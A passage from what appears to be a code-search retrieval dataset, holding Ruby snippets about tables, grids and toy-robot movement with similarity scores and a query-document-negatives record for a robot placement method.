"def draw_table_five_columns(table_info, width_columns = [100, 100, 100, 70, 130])\n table (table_info) do\n columns(0..4).border_width = 1\n columns(0..4).size = 9\n self.column_widths = width_columns\n end\n end",
"def initialize\n\t\t@width = 5\n\t\t@height = 5\n\t\t@cells = [[0,0,1,0,0],[0,1,1,1,0],[0,1,0,0,0],[0,0,0,0,0],[0,0,0,0,0]]\n\tend",
"def screen_settings\n $glines=%x(tput lines).to_i\n $gcols=%x(tput cols).to_i\n $grows = $glines - 3\n $pagesize = 60\n #$gviscols = 3\n $pagesize = $grows * $gviscols\nend",
"def screen_settings\n $glines=%x(tput lines).to_i\n $gcols=%x(tput cols).to_i\n $grows = $glines - 3\n $pagesize = 60\n #$gviscols = 3\n $pagesize = $grows * $gviscols\nend",
"def screen_settings\n @glines, @gcols = `stty size`.split.map(&:to_i)\n # @glines = `tput lines`.to_i\n # @gcols = `tput cols`.to_i\n @grows = @glines - 3\n # @pagesize = 60\n # @gviscols = 3\n @pagesize = @grows * @gviscols\nend",
"def build_report_body\n draw_table(data, :width => 700)\n end",
"def table\n super || Sulten::Table.new(number: -1, capacity: 0, available: false)\n end",
"def initialize(rows = 0, columns = 0)\n resize_field rows, columns\n end",
"def create_table!\n raise InvalidTableDefinition.new \"#{ self.name } has invalid table configuration\" unless model_table_config_is_valid?\n TinyDyno::Adapter.create_table(create_table_request)\n end",
"def start_table\r\n n = @char_set.length\r\n t_size = @size\r\n create_table(@char_set, '', n, t_size)\r\n end",
"def retrieve_terminal_width\n ts = TerminalSize::TerminalSize.new()\n @width = ts.columns - @entry_size - 3\n end",
"def initialize_table\n @total_rows.times do |row|\n row_array = Array.new(@total_columns, \"\")\n @reconstructed_table.push(row_array)\n end\n end",
"def table(table_id); Table.new(@opts, get(\"tables/#{table_id}\")); end",
"def initialize_table; end",
"def create(data_={})\n Table.new(self, data_)\n end",
"def initialize(ox, oy, tx, ty)\n # pixel movement rate\n pix = $BlizzABS.pixel\n # coordinates\n @sx, @sy, @tx, @ty = ox / pix, oy / pix, tx / pix, ty / pix\n # additional data\n @x_off, @y_off = ox - @sx * pix, oy - @sy * pix\n # nodes yet to check\n @open = {[@sx, @sy] => -1}\n # checked nodes\n @closed = Table.new($game_map.width, $game_map.height)\n end",
"def size(width, height)\n self.width = width\n self.height = height\n end",
"def initialize\n @@BOARD_SIZE = 8\n @board = create_board\n @god_mode = false\n end",
"def initialize(target_width=800)\n if not Numeric === target_width\n geometric_width, geometric_height = target_width.split('x')\n @columns = geometric_width.to_f\n @rows = geometric_height.to_f\n else\n @columns = target_width.to_f\n @rows = target_width.to_f * 9/16\n end\n\n initialize_ivars\n\n reset_themes()\n theme_keynote()\n end",
"def initialize(table={})\n @table = table\n end",
"def initialize unit_size = 256 # defaults to 256\n\t\t\t@unit_size = unit_size\n\t\tend",
"def initialize(width=30, height=30, random=true, random_seed=[true,false].to_a)\n\n @width=width\n @height=height\n\n #create an array\n @cells = ConwayModel::create_grid(width, height, random, random_seed)\n end",
"def initialize(width, height)\r\n \t#variables de instancia\r\n @width = width\r\n @height = height\r\n end",
"def initialize(cells, width, height)\n @cells = cells\n @width = width\n @height = height\n end",
"def tableView(view, heightOfRow:row)\n @heights[@configNames[row]] * view.rowHeight\n end",
"def build_report_body\n draw_table(data, :width => 600)\n end",
"def initialize\n\t\t@rows = 8\n\t\t@cols = 8\n\t\t@grid = Array.new(rows) { Array.new(cols) }\n\tend",
"def setup\n size(800, 200)\n new_tree\nend",
"def initialize(table)\n @table = table\n end",
"def table_actions_widget size: :sm\n builder = Widget::TableActions.new size: size\n yield builder\n builder\n end",
"def table_actions_widget size: :sm\n builder = Widget::TableActions.new size: size\n yield builder\n builder\n end",
"def settings\n size 400, 300\nend",
"def create(structure_, data_={})\n Table.new(structure_, data_)\n end",
"def table_open(opts)\n @table = []\n @table_multirow = {}\n @table_multirow_next = {}\n return \"\"\n end",
"def test_length\n table = browser.table(:id, \"table_with_two_bodies\")\n\n assert_equal table.bodies[0].rows.length, table.bodies[0].length\n assert_equal table.bodies[1].rows.length, table.bodies[1].length\n end",
"def draw_table_six_columns(table_info, width_columns = [100, 100, 100, 90, 90, 40])\n table (table_info) do\n columns(0..5).border_width = 1\n columns(0..5).size = 7\n self.column_widths = width_columns\n end\n end",
"def initialize(max_steps, session, left_table, right_table)\n @use_ansi = session.configuration.options_for_table(left_table)[:use_ansi]\n @max_steps, @current_steps = max_steps, 0\n @steps_per_marker = @max_steps.to_f / max_markers\n @current_markers, @current_percentage = 0, 0\n end",
"def row_space(); @row_space; end",
"def initialize(grid_size)\n @grid_size = grid_size\n @cell_ct = (grid_size * 2) + 1\n @board = Array.new(cell_ct){Array.new(cell_ct)}\n\n populate_board_guide(board)\n end"
] |
[
"0.738519",
"0.70830303",
"0.6927399",
"0.6586158",
"0.6248693",
"0.6159597",
"0.5939875",
"0.5938685",
"0.5832788",
"0.58148104",
"0.58096623",
"0.5726672",
"0.5688979",
"0.5686853",
"0.568655",
"0.55993795",
"0.5580344",
"0.55662566",
"0.5490791",
"0.54539376",
"0.5451549",
"0.5451549",
"0.5448994",
"0.5448994",
"0.5437088",
"0.54306245",
"0.54235023",
"0.54033124",
"0.5367324",
"0.53276426",
"0.5323355",
"0.53233355",
"0.5319655",
"0.53144777",
"0.5300234",
"0.5293638",
"0.52895194",
"0.5283851",
"0.5266534",
"0.5265688",
"0.5260927",
"0.5241565",
"0.52415544",
"0.5238221",
"0.5228493",
"0.5206715",
"0.51978457",
"0.5197787",
"0.51956314",
"0.51746464",
"0.5169781",
"0.5166897",
"0.5165259",
"0.51515293",
"0.51500416",
"0.5147318",
"0.513729",
"0.51359075",
"0.512536",
"0.5125057",
"0.51000714",
"0.50955135",
"0.50932854",
"0.5083453",
"0.5083453",
"0.50821596",
"0.5065601",
"0.50549793",
"0.50428313",
"0.50423557",
"0.50335735",
"0.50260216",
"0.50248885",
"0.50187445",
"0.5015815",
"0.50090426",
"0.49950665",
"0.4994041",
"0.4990056",
"0.49842167",
"0.49830335",
"0.4976208",
"0.4976112",
"0.497522",
"0.49722934",
"0.49695045",
"0.4966177",
"0.49533865",
"0.4951682",
"0.49507475",
"0.49409723",
"0.49409723",
"0.4937998",
"0.4936346",
"0.4923945",
"0.49141836",
"0.4913022",
"0.4912027",
"0.49114537",
"0.4909119"
] |
0.5807809
|
11
|
Puts the robot on a exact location and direction
|
def place(x, y, orientation)
position(x, y, @table.size)
self.direction = orientation.to_sym
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def move\n case @toy_direction\n when \"NORTH\"\n new_place = [@toy_place[0], @toy_place[1] + 1]\n when \"EAST\"\n new_place = [@toy_place[0] + 1, @toy_place[1]]\n when \"SOUTH\"\n new_place = [@toy_place[0], @toy_place[1] - 1]\n when \"WEST\"\n new_place = [@toy_place[0] - 1, @toy_place[1]]\n end\n place_robot(new_place, @toy_direction)\n end",
"def place_robot(args)\n x, y, direction = args.split(',')\n [x, y, direction].each do |arg|\n fail 'Missing argument' if arg.to_s.empty?\n end\n\n @toy_robot.place x.strip.to_i, y.strip.to_i,\n direction.strip.downcase.to_sym\n end",
"def place_robot(new_place, direction)\n if @table_top.move_robot(new_place)\n @toy_place = new_place\n @toy_direction = direction\n end\n end",
"def place(rbot, x: nil, y: nil, direction: nil)\n rbot.at(x, y)\n rbot.orient(direction)\n end",
"def place(x, y)\n self.robot_position = {\n x: x,\n y: y\n } if valid_coordinates?(x, y)\n end",
"def place_command_proceed\n @robot.place(@x_position.to_i, @y_position.to_i, @vector.to_s.strip)\n end",
"def move\n check_placed\n new_position = case facing\n when :north then @position.inc_y\n when :south then @position.dec_y\n when :east then @position.inc_x\n when :west then @position.dec_y\n end\n check_position(new_position)\n @position = new_position\n end",
"def place(x, y, direction)\n # Set target position. Cancel processing the method if it's outside current surface\n target_position = NavigationEntities::Position.new(x, y)\n return cancel_action(\"Robot can't be placed outside\") unless surface.position_on_surface?(target_position)\n\n # Set direction of the robot. Store it in the placement object.\n target_direction = NavigationEntities::Direction.new(direction)\n self.target_placement = NavigationEntities::Placement.new(target_position, target_direction)\n\n # Update information about current location.\n update_placement(target_placement)\n end",
"def robot_move\n state_execute do |robot|\n robot.move\n end\n end",
"def execute\n if @robot.placed?\n new_position = @robot.current_position.go_to(@robot.current_position.direction)\n\n @robot.current_position = new_position if @table.position_is_valid?(new_position)\n end\n end",
"def place args\n \n @is_robot_availabe = true\n \n @pos_x,@pos_y,@direction = args\n\n if not (0..TABLE_X).include?(@pos_x) or not (0..TABLE_Y).include?(@pos_y)\n puts \"Warning: The position of Robot at (#{@pos_x}, #{@pos_y}) is outside the table (5,5).\"\n @is_robot_availabe = false\n return\n end\n\n if not DIRECTIONS.include?(@direction)\n puts \"Warning: #{@direction} is invaid. Robot can only move towards the four directions: \\n\"\\\n \"#{DIRECTIONS.inspect}.\"\n @is_robot_availabe = false\n return\n end\n\n # return \"PLACE\" #for test\n end",
"def move!\n if placed?\n case orientation.to_sym\n when :NORTH then @y += 1 if valid_coordinates?(x, y + 1)\n when :EAST then @x += 1 if valid_coordinates?(x + 1, y)\n when :SOUTH then @y -= 1 if valid_coordinates?(x, y - 1)\n when :WEST then @x -= 1 if valid_coordinates?(x - 1, y)\n end\n nil\n else\n raise RobotSimulation::NotPlacedError, \"Robot has not been placed yet.\"\n end\n end",
"def move(direction)\n \n end",
"def move(*_)\n dir = direction_compass.to_direction(direction)\n new_value = direction_compass.direction[dir.to_sym]\n\n place(x + new_value[:x], y + new_value[:y])\n end",
"def place_robot(x,y,name)\n if (0..max_length).include?(x) && (0..max_height).include?(y)\n self.robot_position[name] = [x,y]\n end\n end",
"def execute\n return unless @robot.placed?\n\n original_position = @robot.position\n new_position = original_position.dup\n new_position.move\n\n @robot.position = new_position if @table.position_valid?(new_position)\n end",
"def move\n # Do not continue if robot isn't placed\n return cancel_action(\"Robot isn't placed on the surface yet\") unless placed?\n\n # Calculate target position. Cancel processing the method if it's outside current surface\n target_position = current_placement.position.add(current_placement.direction.to_unit_vector)\n return cancel_action(\"Robot can't drive outside the surface\") unless surface.position_on_surface?(target_position)\n\n # Set the current placement, calculate movement vector and pass it ot the mobility system.\n self.target_placement = NavigationEntities::Placement.new(target_position, current_placement.direction)\n mobility_system.move_by(target_position - current_placement.position)\n\n # Current mobility system is just a placeholder, so it's always executed\n if mobility_system.standby\n # Update information about current location.\n # TODO: Refactor this part when a real mobility system will be plugged in\n update_placement(target_placement)\n end\n end",
"def update_direction!\n direction.place!(command.arguments[:direction])\n end",
"def move!\n case @facing\n when Direction::NORTH\n @loc[:y] += 1 unless out_of_bounds? @loc[:x], @loc[:y] + 1\n when Direction::EAST\n @loc[:x] += 1 unless out_of_bounds? @loc[:x] + 1, @loc[:y]\n when Direction::SOUTH\n @loc[:y] -= 1 unless out_of_bounds? @loc[:x], @loc[:y] - 1\n when Direction::WEST\n @loc[:x] -= 1 unless out_of_bounds? @loc[:x] - 1, @loc[:y]\n else\n raise %q{Don't know which direction to move}\n end\n end",
"def move_robot(command, unit)\n if /#{FORWARD}/.match?(command)\n case $current_direction \n when 0\n $y += unit\n when 1\n $x += unit\n when 2\n $y -= unit\n else\n $x -= unit\n end\n elsif /#{BACKWARD}/.match?(command)\n case $current_direction \n when 0\n $y -= unit\n when 1\n $x -= unit\n when 2\n $y += unit\n else\n $x += unit\n end \n end \nend",
"def move\n # Check that we have been placed\n if self.placed?\n # Create a new version to hold our new position for validation later\n new_position = @current_position.dup\n \n # Get our direction constant to establish whether we want to operate on the X or Y co-ordinate and whether to subtract or add based on direction\n direction_constant = self.get_direction_constant\n\n # Calculate our new position operating on the correct coordinate with the correct operation using the constants we have on the class\n new_position[direction_constant[:coordinate]] = new_position[direction_constant[:coordinate]] + direction_constant[:operation_value] \n # Check if the new position is valid move to this position\n if @table.valid_destination new_position[:x], new_position[:y]\n # Set our new valid position\n @current_position = new_position \n puts \"The Toy Robot has moved to (#{@current_position[:x]}, #{@current_position[:y]}) facing #{@current_position[:direction]}...\"\n else\n puts \"The Toy Robot cannot move any further, position unchanged, skipping command...\"\n return false\n end\n else\n puts \"The Toy Robot has not been placed, skipping command...\"\n return false\n end\n end",
"def move\n\t\tif valid_move?\n\t\t\tputs \"\"\n\t\t\tif OS.mac?\n\t\t\t\tcmd = ('say \"roger-roger\"')\n\t\t\t\tsystem cmd\n\t\t\tend\n\t\t\tputs \"Roger, roger I\\'m moving forward one field!\"\n\t\t\tcase @robot_direction\n\t\t\twhen \"EAST\" then @x += 1\n\t\t\twhen \"WEST\" then @x -= 1\n\t\t\twhen \"NORTH\" then @y += 1\n\t\t\twhen \"SOUTH\" then @y -= 1\n\t\t\tend\n\t\telse\n puts \"This is the end of this world and I can't go further in this direction, please change direction\"\n\t\tend\n\tend",
"def move\n position_after_move = @position.new_coordinates_for_step_size(@direction.step_size_for_x_axis, @direction.step_size_for_y_axis)\n\n #ignore the command if robot is being out off tabletop\n if(@table_top.has_within_bounds?(position_after_move))\n @position = @position.new_coordinates_for(@direction.step_size_for_x_axis, @direction.step_size_for_y_axis)\n\n end\n end",
"def move\n return unless placed?\n # We know place() will already ignore invalid placements, so just advance\n # the robot and let it fail silently if those positions are not on the board\n place(*next_position, direction)\n end",
"def place?(robot, direction_sym)\n true\n end",
"def move(direction)\n\t\tnorth = [\"n\", \"up\", \"north\"]\n\t\teast = [\"e\", \"right\", \"east\"]\n\t\twest = [\"w\", \"left\", \"west\"]\n\t\tsouth = [\"s\", \"down\", \"south\"]\n\t\tif north.include?(direction)\n\t\t\tdirection == \"north\"\n\t\telsif east.include?(direction)\n\t\t\tdirection == \"east\"\n\t\telsif west.include?(direction)\n\t\t\tdirection == \"west\"\n\t\telsif south.include?(direction)\n\t\t\tdirection == south\n\t\tend\n\t\tif $hero.location.exits.has_key?(direction)\n\t\t\tnewroom = $hero.location.exits[direction]\n\t\t\t$hero.location = newroom\n\t\t\t$hero.xy = newroom.xy\n\t\telse\n\t\t\tputs \"You cannot travel #{direction}. The path does not lead there.\"\n\t\tend\n\tend",
"def move(robot_name,robot_direction)\n case robot_direction\n when \"NORTH\"\n self.robot_position[robot_name][1] +=1 if robot_position[robot_name][1] < max_height\n when \"SOUTH\"\n self.robot_position[robot_name][1] -=1 if robot_position[robot_name][1] > 0\n when \"WEST\"\n self.robot_position[robot_name][0] -=1 if robot_position[robot_name][0] > 0\n when \"EAST\"\n self.robot_position[robot_name][0] +=1 if robot_position[robot_name][0] < max_length\n else\n nil\n end\n end",
"def place(x, y, direction_to_face)\n # Check if we're working with a valid destination\n if @table.valid_destination x, y \n # Set our new position instance variable values\n @current_position[:x] = x\n @current_position[:y] = y\n @current_position[:direction] = direction_to_face\n\n puts \"Toy Robot placed at (#{@current_position[:x]}, #{@current_position[:y]}) facing #{@current_position[:direction]}\"\n\n return true\n else\n puts \"Invalid placement given, please specify a valid place within the range of the table in the format X, Y e.g. PLACE 1, 2\" \n return false\n end\n end",
"def move_robot(position)\n # check if point valid\n if position[0].between?(0, @dimension - 1) && position[1].between?(0, @dimension - 1)\n @robot_position = position\n return true\n else\n return false\n end\n end",
"def move\n if @direction.north? then @y += 1\n elsif @direction.south? then @y -= 1\n elsif @direction.east? then @x += 1\n elsif @direction.west? then @x -= 1\n end\n return self\n end",
"def move(direction, map)\n x = @x_location\n y = @y_location\n \n case direction\n when :north then y -= 1\n when :south then y += 1 \n when :west then x -= 1\n when :east then x += 1 \n end\n \n unless map[y][x].is_a_wall?\n @x_location = x\n @y_location = y\n end \n end",
"def move\r\n @x += @x_direction\r\n @y += @y_direction\r\n # Preventing the Alien moving out of the screen\r\n if @x > (SCREEN_WIDTH - GAME_PRESET[\"alien_reach\"]) || @x < 0\r\n @x_direction= -@x_direction\r\n elsif @y > (SCREEN_HEIGHT * @height_limit)\r\n @y_direction = 0\r\n end\r\n end",
"def place(robot, x:0, y:0)\n raise PlacementError.new \"Coordinates (#{x},#{y}) are not on this board\" if \n !width_range.include?(x) || !height_range.include?(y)\n # @playing_field[x][y] = robot\n @robots[robot] = {x: x, y: y}\n robot.place(self)\n end",
"def turn_robot(name, direction)\n\t\ttarget_robot = find_robot_by_name(name)\n\t\t#switch in case we want different directions in the future, like turn around \n\t\tif target_robot != nil\n\t\t\ti = @facings.find_index(target_robot.facing)\n\t\t\tcase direction\n\t\t\twhen \"LEFT\"\n\t\t\t\ti -= 1\n\t\t\twhen \"RIGHT\"\n\t\t\t\ti += 1\n\t\t\telse\n\t\t\t\tputs \"invalid command: invalid direction\"\n\t\t\tend\n\t\t\tnew_facing = @facings[(i) % @facings.length]\n\t\t\ttarget_robot.facing = new_facing\t\n\t\tend\n\tend",
"def move!\n\t\tbounce! until !will_bounce? #TODO add surroundedness checking\n\t\t@x += @@target_coords[@direction][:dx]\n\t\t@y += @@target_coords[@direction][:dy]\n\tend",
"def move(args)\n return if !@is_robot_availabe\n case @direction\n when \"NORTH\"\n if @pos_y + STEP <= TABLE_Y\n @pos_y += STEP\n return\n end\n \n when \"EAST\"\n if @pos_x + STEP <= TABLE_X\n @pos_x += STEP\n return\n end\n \n when \"SOUTH\"\n if @pos_y - STEP >= 0\n @pos_y -= STEP\n return\n end\n \n when \"WEST\"\n if @pos_x - STEP >= 0\n @pos_x -= STEP\n return\n end\n \n end\n puts \"Warning: Robot cannot move towards #{@direction} anymore. \"\n # return \"MOVE\" #for test\n end",
"def update_move\n self.x = screen_x\n self.y = screen_y\n update_move_arch if @type == Arched\n end",
"def update(x_position, y_position)\n @robot_x_position = x_position\n @robot_y_position = y_position\n end",
"def place_robot(robot, x, y, direction)\n return false unless position_valid?(x, y)\n\n robot.remove if robot.table\n\n robot.instance_variable_set(:@table, self)\n robot.instance_variable_set(:@x, x)\n robot.instance_variable_set(:@y, y)\n robot.instance_variable_set(:@direction, direction)\n\n @robots.push(robot) unless robots.include?(robot)\n\n true\n end",
"def interpret_move(command)\n ensure_placed\n @robot.move_forward\n end",
"def move\n case @rover_facing\n when 'N'\n @coordinates[1] += 1\n when 'E'\n @coordinates[0] += 1\n when 'S'\n @coordinates[1] -= 1\n when 'W'\n @coordinates[0] -= 1\n end\n end",
"def drive(cmd)\n if @steer.include?(cmd)\n @orientation = @gps.turn(cmd)\n else\n move\n end\n end",
"def test_can_move_north\n table_top = TableTop.new(5, 5)\n @robot.place(table_top, :TEST)\n\n assert_equal(:NORTH, @robot.direction)\n assert_equal(\"P\", @robot.get_path_value(0, 0))\n\n @robot.move\n assert_equal(0, @robot.x, \"X position should be 0 (not changed)\")\n assert_equal(1, @robot.y, \"Y position should be 1 (moved 1 north)\")\n assert_equal(:NORTH, @robot.direction, \"Direction should be :NORTH (not changed)\")\n assert_equal(\"M\", @robot.get_path_value(0, 1))\n end",
"def move\n case @direction\n when \"NORTH\" then move_north\n when \"SOUTH\" then move_south\n when \"EAST\" then move_east\n when \"WEST\" then move_west\n end\n end",
"def move\n case @direction\n when \"N\" then @y += 1 unless @y + 1 > @plateau.y || @@rover_locations.values.include?([@x, @y + 1])\n when \"E\" then @x += 1 unless @x + 1 > @plateau.x || @@rover_locations.values.include?([@x + 1, @y])\n when \"S\" then @y -= 1 unless @y - 1 < 0 || @@rover_locations.values.include?([@x, @y -1])\n when \"W\" then @x -= 1 unless @x - 1 < 0 || @@rover_locations.values.include?([@x -1, @x])\n end\n @@rover_locations[@id.to_sym] = [@x, @y]\n end",
"def move\n\t\treturn \"INVALID COMMANDS, YOU CAN NOT MAKE THE ROBOT FALL OFF THE TABLE\" unless is_valid_move?\n\t\tcase @direction\n\t\twhen \"east\"\n\t\t\t@x_coordinate += 1\n\t\twhen \"west\"\n\t\t\t@x_coordinate -= 1\n\t\twhen \"south\"\n\t\t\t@y_coordinate -= 1\n\t\twhen \"north\"\n\t\t\t@y_coordinate += 1\n\t\telse\n\t\tend\n\t\ttrue\n\tend",
"def move\n case @direction\n when \"N\"\n @y_coord += 1\n when \"S\"\n @y_coord -= 1\n when \"W\"\n @x_coord += 1\n when \"E\"\n @x_coord -= 1\n end\n end",
"def move\n return unless placed?\n # no need to use a loop since the length is only 2\n new_x = @pos_x + @direction[:x]\n new_y = @pos_y + @direction[:y]\n\n return unless valid_position?(new_x, new_y)\n set_position(new_x, new_y)\n end",
"def setup_move\n return unless PONY::ERRNO.check_sequence(current_act)\n stop_all_movements\n mx = @map_char.real_x + @acts[1]\n my = @map_char.real_y + @acts[2]\n goto(mx, my, @acts[3], @acts[4], @acts[5] || 0)\n end",
"def move\n case @current_rotation\n when ToyEnums::NORTH\n @position_y +=1\n when ToyEnums::SOUTH\n @position_y -=1\n when ToyEnums::EAST\n @position_x +=1\n when ToyEnums::WEST\n @position_x -=1\n else\n\n end\n end",
"def move\n\t\tcase @car.orientation\n\t\t\twhen 0 \n\t\t\t\t@car.y += 1\n\t\t\twhen 2\n\t\t\t\t@car.y -= 1\n\t\t\twhen 1\n\t\t\t\t@car.x += 1\n\t\t\twhen 3\n\t\t\t\t@car.x -= 1\n\t\tend\n\tend",
"def move\n x_mov, y_mov = MOVEMENT_VECTORS[@direction]\n\n #add vector to current position\n @x_pos += x_mov\n @y_pos += y_mov\n\n throw \"fell off plateau, position: [#{@x_pos}, #{@y_pos}]\" if @x_pos < 0 || @y_pos < 0\n throw \"fell off plateau, position: [#{@x_pos}, #{@y_pos}]\" if @x_pos > @mars_plateau.max_x || @y_pos > @mars_plateau.max_y\n\n [@x_pos, @y_pos]\n end",
"def place(command)\n\t\tcommand.sub!(\"PLACE\", \"\")\n\t\tif (command =~ /\\s*\\d,\\d,\\w+/).nil?\n\t\t\tputs \"\"\n puts \"You forgot to tell the robot where to be placed or ..\"\n else\n \t\t@x, @y, @robot_direction = command.split(\",\")\n \t\t@x = number_or_nil(@x)\n \t\t@y = number_or_nil(@y)\n end\n\t\t#validates the location of the placement\n\t\tif valid_placement?\n\t\t\t@robot.location(@x, @y, @robot_direction)\n\t\t\tputs \"\"\n\t\t\tputs \"The robot has been placed at #{@x} #{@y} facing #{@robot_direction}. Let\\'s go on a rampage!\"\n\t\telse\n\t\t\tputs \"..the place command is incorrectly formatted or outside the table bounds. \"\n\t\t\tputs \"The boundries of this world reach from #{@min},#{@min} up to #{@width - 1},#{@height - 1}\"\n\t\t\tputs \"A place command looks like \\'PLACE 0,0,North \\' \"\n\t\tend\n\tend",
"def move(robot, direction_sym)\n raise PlacementError.new \"Robot is not on this table\" unless placed?(robot)\n new_position = calculate_position(@robots[robot].clone, direction_sym)\n # Move the robot by placing it at its new location\n place(robot, **new_position)\n end",
"def move( turn, forward)\n\t\tif forward < 0 \n\t\t raise 'Robot cant move backwards ' + forward.to_s \n\t\tend\n\t\t# turn, and add randomness to the turning command\n\t\t# puts 'o:'+(@orientation/PI).to_s\n\t\t@orientation = @orientation + turn.to_f + random_gauss(0.0, @turn_noise)\n\t\t \n\t\t\n\t\t@orientation = @orientation % ( 2 *PI )\n\t\t# puts 'o:'+(@orientation/PI).to_s\n\t\t# move, and add randomness to the motion command\n\t\tdist = forward.to_f + random_gauss(0.0, @forward_noise)\n\t\t@x = @x + (cos(@orientation) * dist)\n\t\t@y = @y + (sin(@orientation) * dist)\n\t\t@x = @x % world_size # cyclic truncate\n\t\t@y = @y % world_size\n\t \n\t\t# set particle\n\t\tres = Robot.new()\n\t\tres.set(@x, @y, @orientation)\n\t\tres.set_noise(@forward_noise, @turn_noise, @sense_noise)\n\t\treturn res\n\tend",
"def move( turn, forward)\n\t\tif forward < 0 \n\t\t raise 'Robot cant move backwards ' + forward.to_s \n\t\tend\n\t\t# turn, and add randomness to the turning command\n\t\t# puts 'o:'+(@orientation/PI).to_s\n\t\t@orientation = @orientation + turn.to_f + random_gauss(0.0, @turn_noise)\n\t\t \n\t\t\n\t\t@orientation = @orientation % ( 2 *PI )\n\t\t# puts 'o:'+(@orientation/PI).to_s\n\t\t# move, and add randomness to the motion command\n\t\tdist = forward.to_f + random_gauss(0.0, @forward_noise)\n\t\t@x = @x + (cos(@orientation) * dist)\n\t\t@y = @y + (sin(@orientation) * dist)\n\t\t@x = @x % world_size # cyclic truncate\n\t\t@y = @y % world_size\n\t \n\t\t# set particle\n\t\tres = Robot.new()\n\t\tres.set(@x, @y, @orientation)\n\t\tres.set_noise(@forward_noise, @turn_noise, @sense_noise)\n\t\treturn res\n\tend",
"def moving\n\t\tget_rand(2)\n\t\tcase @location\n\t\twhen \"Cathedral\"\n\t\t\tfrom_cathy()\n\t\twhen \"Hospital\"\n\t\t\tfrom_hospital()\n\t\twhen \"Hillman\"\n\t\t\tfrom_hillman()\n\t\twhen \"Museum\"\n\t\t\tfrom_museum()\n\t\tend\n\tend",
"def move_to(x, y, speed = 2)\n @new_x = x\n @new_y = y\n @speed = speed\n end",
"def move\n origin = @table.find(self)\n\n # Check if the robot can move without falling off the table\n case @direction\n when Direction::NORTH\n movement = Coordinate.new(0, 1)\n when Direction::EAST\n movement = Coordinate.new(1, 0)\n when Direction::SOUTH\n movement = Coordinate.new(0, -1)\n when Direction::WEST\n movement = Coordinate.new(-1, 0)\n end\n destination = origin + movement\n return unless @table.contain? destination\n\n # Safe to move\n @table.place origin, nil\n @table.place destination, self\n end",
"def position_for_next_harvest()\n turn_right()\n move()\n turn_right()\n end",
"def move\n\n if @position != []\n if @position[2] == \"EAST\"\n @position[0] += 1\n elsif @position[2] == \"WEST\"\n @position[0] -= 1\n elsif @position[2] == \"NORTH\"\n @position[1] += 1\n elsif @position[2] == \"SOUTH\"\n @position[1] -= 1\n end\n check_position()\n else\n puts \"Invalid Command!!.\\nPlease execute command (place) to place the robot on the table.\"\n end\n @position\nend",
"def move_forward\n new_location = @location + facing_direction.coordinate_component\n \n if !surface.within_bounds?(new_location)\n raise OutOfBoundaryError, \"The movement has put the robot out of boundaries\"\n end\n \n @location = new_location\n self\n end",
"def move\n case @direction\n when \"n\"\n @y_axis += 1\n when \"e\"\n @x_axis += 1\n when \"s\"\n @y_axis -= 1\n when \"w\"\n @x_axis -= 1\n end\n end",
"def reset_robot\n @commands_array = []\n @next_command_index = 0\n\n # Robot robot should not move before getting PLACEd.\n @is_placed = false\n\n # Start at origin, looking EAST.\n @face = FACES.keys[0]\n @location = {:x=>0, :y=>0}\n end",
"def execute\n return unless @robot.table\n step_addition = Coordinate.step_addition_for(@robot.direction)\n new_coordinate = @robot.coordinate.add(step_addition)\n if @robot.table.is_on_table(new_coordinate)\n @robot.coordinate = new_coordinate\n end\n end",
"def test_can_move_south\n table_top = TableTop.new(5, 5)\n @robot.place(table_top, :SOUTH, 1, 2)\n\n assert_equal(:SOUTH, @robot.direction)\n assert_equal(\"P\", @robot.get_path_value(1, 2))\n\n @robot.move\n assert_equal(1, @robot.x, \"X position should be 1 (not changed)\")\n assert_equal(1, @robot.y, \"Y position should be 1 (moved 1 south)\")\n assert_equal(:SOUTH, @robot.direction, \"Direction should be :SOUTH (not changed)\")\n assert_equal(\"M\", @robot.get_path_value(1, 1))\n end",
"def execute\n return unless @robot.table\n x = @robot.coordinate.x\n y = @robot.coordinate.y\n direction = @robot.direction.to_s.upcase\n @out.puts(\"#{x},#{y},#{direction}\")\n end",
"def move_rover()\n puts \"DEBUG: moving: #{@orientation}\" if DEBUG\n case @orientation\n when DIRECTION_EAST\n @position[:x] += 1 if @position[:x] < @map.width\n when DIRECTION_WEST\n @position[:x] -= 1 if @position[:x] > 0\n when DIRECTION_NORTH\n @position[:y] += 1 if @position[:y] < @map.height\n when DIRECTION_SOUTH\n @position[:y] -= 1 if @position[:y] > 0\n end\n puts \"DEBUG: position after move: #{@position}\" if DEBUG\n end",
"def move_forward\n case @orientation\n when :north\n @position.y_coordinate += 1\n when :east\n @position.x_coordinate += 1\n when :south\n @position.y_coordinate -= 1\n when :west\n @position.x_coordinate -= 1\n end\n end",
"def move\n @x += @vel_x\n @y += @vel_y\n @spin += @vel_spin\n end",
"def move\n if me\n turn_left if window.button_down? Gosu::KbLeft\n turn_right if window.button_down? Gosu::KbRight\n run if window.button_down? Gosu::KbUp\n run_with_ball\n end\n end",
"def place(x, y, facing)\n return false if falls_off?(x, y)\n self.x = x\n self.y = y\n self.facing = facing\n true\n end",
"def place!(x, y, f)\n raise ArgumentError, 'invalid coordinate' unless @playground.valid_coordinate?(x, y)\n raise ArgumentError, 'invalid position' unless @robot.set_position(x, y, f)\n end",
"def move_robot_forward details\r\n\tif(details.f == 1 and details.y<5)\r\n\t\tdetails.y += 1\r\n\telsif(details.f == 2 and details.x<5)\r\n\t\tdetails.x += 1\r\n\telsif(details.f == 3 and details.y>0)\r\n\t\tdetails.y -= 1\r\n\telsif(details.f == 4 and details.x>0)\r\n\t\tdetails.x -= 1\r\n\telse\r\n\t\tprint(\"\\nRobot will fall off the table. Aborting movement.\")\r\n\tend\r\n\tdetails\r\nend",
"def advance\n case bearing\n when :north\n coordinates[1] += 1\n when :east\n coordinates[0] += 1\n when :south\n coordinates[1] -= 1\n when :west\n coordinates[0] -= 1\n end\n end",
"def change_direction\n @move_x = -@move_x\n @speed = -@speed\n end",
"def move_home_z\n @axis_z.move_home()\n @axis_z.disable_motor()\n end",
"def move\n @leading_x = coordinate_array[0]\n @leading_y = coordinate_array[1]\n end",
